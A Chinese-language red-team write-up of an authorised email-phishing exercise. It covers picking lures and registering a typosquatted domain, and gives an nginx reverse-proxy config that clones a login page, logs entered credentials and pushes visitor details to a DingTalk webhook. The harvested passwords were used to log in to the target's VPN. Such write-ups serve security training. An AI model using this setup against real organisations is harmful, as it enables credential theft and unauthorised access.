记录一次之前的钓鱼。
之前有个甲方开展演练,不限制攻击手法,正巧一般都是硬打进去的,这次正好写一下钓鱼。
很简单,全是基础的东西,轻喷。
0x01 为什么要钓鱼#
正常来说,无论是护网还是高级渗透项目,目标肯定是做了好几轮测试的,要从外围找到点,很难。
但是在允许钓鱼的情况下,人的习惯行为存在安全风险的因素往往要大得多。
员工充满了不确定性,这也是 EDR 和杀毒无法保证的一个地方。
本文是一次邮件钓鱼,当然除了邮件钓鱼外,我们还可以 U 盘钓鱼,wifi 近源钓鱼,社交工具钓鱼等方式,具体使用什么方式做钓鱼演练,还要结合目标实际情况,针对性的进行方案设计。
0X02 信息收集#
在钓鱼活动之前,先得清楚谁是那个谁是鱼,一般来说只要不是针对特定单独目标的,往往是群发的,都需要做信息收集。
需要收集的信息有:
- 姓名
- 职务
- 手机
- 邮箱信息
其中最重要的就是邮箱信息,建议从以上几个地方获取信息:
其中搜邮箱可以从域名获得邮件信息。
无论使用的是哪种途径获得了邮件信息,都离不开两步,去重和验证存活。
验证存活的地方不多说,很多服务商都有提供这种服务。
本次案例没有进行前期的邮箱信息收集,而是用了一个漏洞获取到了该目标的通讯录,根据职位和部门准备了鱼饵。
0x02 鱼饵准备#
确定目标之后,接下来就是准备鱼饵,鱼饵的选择有很多,常见的是目标和鱼饵如下:
- 放假通知:这个针对全员部门,攻击者需要冒充的角度肯定是 HR。
- 薪资调整通知:这个针对特定人或者一个部门都可以,实践中成功率相当的高,冒充的角度也得是 HR 或者部门经理。
- 商务合作洽谈通知:这个攻击面只能是针对市场运营或者部分特定人,冒充的角度可以是外部联系人。
- 检举材料:建议少用,一些比较大的企业具有一个反贪的部门,这个部门的信息往往是公开的,攻击者只需要捏造一些关于某领导或者某分部存在的负面信息,也包括桃色新闻。
我就没看到过不点开的,这是他们职责所在。利用此钓鱼,往往都会成功,但是事后影响会特别严重,实践中也不乏有登报道歉的案例。
钓鱼是让你钓鱼,不是让你造谣惹是生非的
总体来说,无论是利用什么,总的还是利用一个人的心理,只要标题够巧,能吸引人点击,就算成功。
0x03 鱼钩制作#
制作鱼钩前,得想清楚两件事:
- 是要获取单独人的 PC 权限?
思考:
- 获取 PC 权限需要执行文件,在此之前,你确保你了解对方所使用的杀毒软件?
- 你所制作的 EXE,能够在不同的 Windows 版本 / 环境上执行吗?
- 是要获取尽可能多的密码?
- 获取尽可能多的密码的情况下,必定要大规模的批量群发,比较敏感的部门,你可能只有一次机会。获取到的这些密码准备用来干什么?
钓鱼无非就权限或者密码本,想清楚这两个不同的方向带来的收获往往不同。权限当然是最快的,但是得考虑杀毒,密码可能是收获不大的,但是动静较小。
0x04 钓鱼页面准备#
抛开上面的附件钓鱼不谈,很简单,只需要想方设法的让对方点击附件即可,一般都是直接附带在邮箱里,利用加密压缩包绕过邮件网关检测。
有些检测比较严格的,会单独拦截附件的,就要使用比如把附件单独拉一个网站上让目标人员主动去进行下载。
重点在于,钓鱼的页面需要结合客户的系统去进行冒充,对于外部的方式建议是用 oa,mail,VPN 等页面进行仿冒。
对于内部,如展开二次钓鱼的情况下,建议是对目标内部关键系统进行冒充,假如知识库,堡垒机,代码库等页面。
无论最终采用哪一种方式,都需要尽可能的减少目标的感知。
介绍到此结束,下面进入实践案例。
0x05 实践#
在此之前,小伙伴已经拿到了通讯录,经过前期的踩点,我们也找到了处于外部的 mail 系统,同时也发现了外部的 VPN 系统。
个人的思路就是,套取更可能多的密码,用来碰撞 VPN。
利用 nginx 反代去套他们的页面,只需要监听日志即可获得账号密码,无成本的利用方式。
server {
listen 80;
server_name example.com; # 需要替换为钓鱼网站的域名
access_log /var/log/nginx/access.log;
location / {
proxy_pass http://phishing-site.com; # 需要替换为钓鱼网站的真实 URL
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# 记录用户访问信息
access_log /var/log/nginx/phishing.log;
# 将用户访问信息推送到钉钉机器人
post_action @notify;
}
location @notify {
internal;
proxy_pass https://oapi.dingtalk.com/robot/send?access_token=YOUR_ACCESS_TOKEN; # 需要替换为钉钉机器人的访问 token
proxy_set_header Content-Type application/json;
proxy_set_header charset utf-8;
proxy_method POST;
# 钉钉机器人推送内容,包含用户访问信息
proxy_set_body '
{
"msgtype": "text",
"text": {
"content": "用户访问了钓鱼网站:$host\n访问IP:$remote_addr\n访问时间:$time_local"
}
}
';
}
}
以上是一段反代配置,并且提醒给钉钉的机器人,就不用一直看着日志了。
在套好模板之后,开始计划鱼饵,我选用的鱼饵也很简单,就是一份处罚公告,具体如下:
此处的邮件服务器是买的一个相近域名来做的,假如目标是 baidu.com。
购买的域名是 baldu.com,邮件主题为 hrm @baldu.com。
蓝色部分是超链接,实际指向为反代后的地址。
拟了一份根据规则行为制度所写的处罚报告,附件里给出了公司的行为规则 PDF,以及目标群体的姓名和邮箱。
选取了大概 30 个人发送一批,依次发送了 3 批左右。
效果很好,大概收获了二三十个账号密码,利用一些员工的账号密码也成功的登陆上了 VPN 系统。图就不再展示了
0x06 思考#
钓鱼和社工都是一门艺术,我见过有靠纯钓鱼和社工打穿目标的大佬,所展现的心理素质和各种身份的切换,炉火纯青。。
本文只是一个简单的引用,水坑攻击中要高级的多,存在数不胜数的利用方式。
代码需要结合目标所处的环境来编写,假如目标的关键系统设置了手机验证码,如何在他输入正确的验证码之后迅速传回到你这边来呢?
假如对方一直爆破你的登录口,填充错误的信息,是不是该筛选杂乱数据出去呢?
假如做的很单薄,目标一直去登录你的页面却迟迟登陆不进去,是不是可以做一个判断账号密码是否正确,正确的进行 302 重定向来不引起目标的注意呢?
这方面该学的确实还有很多。打点?不如钓鱼.jpg
0x07 题外话#
想起一个题外话,有一次被蓝队反钓鱼了,非常之有趣。
有机会可以写写这个事情。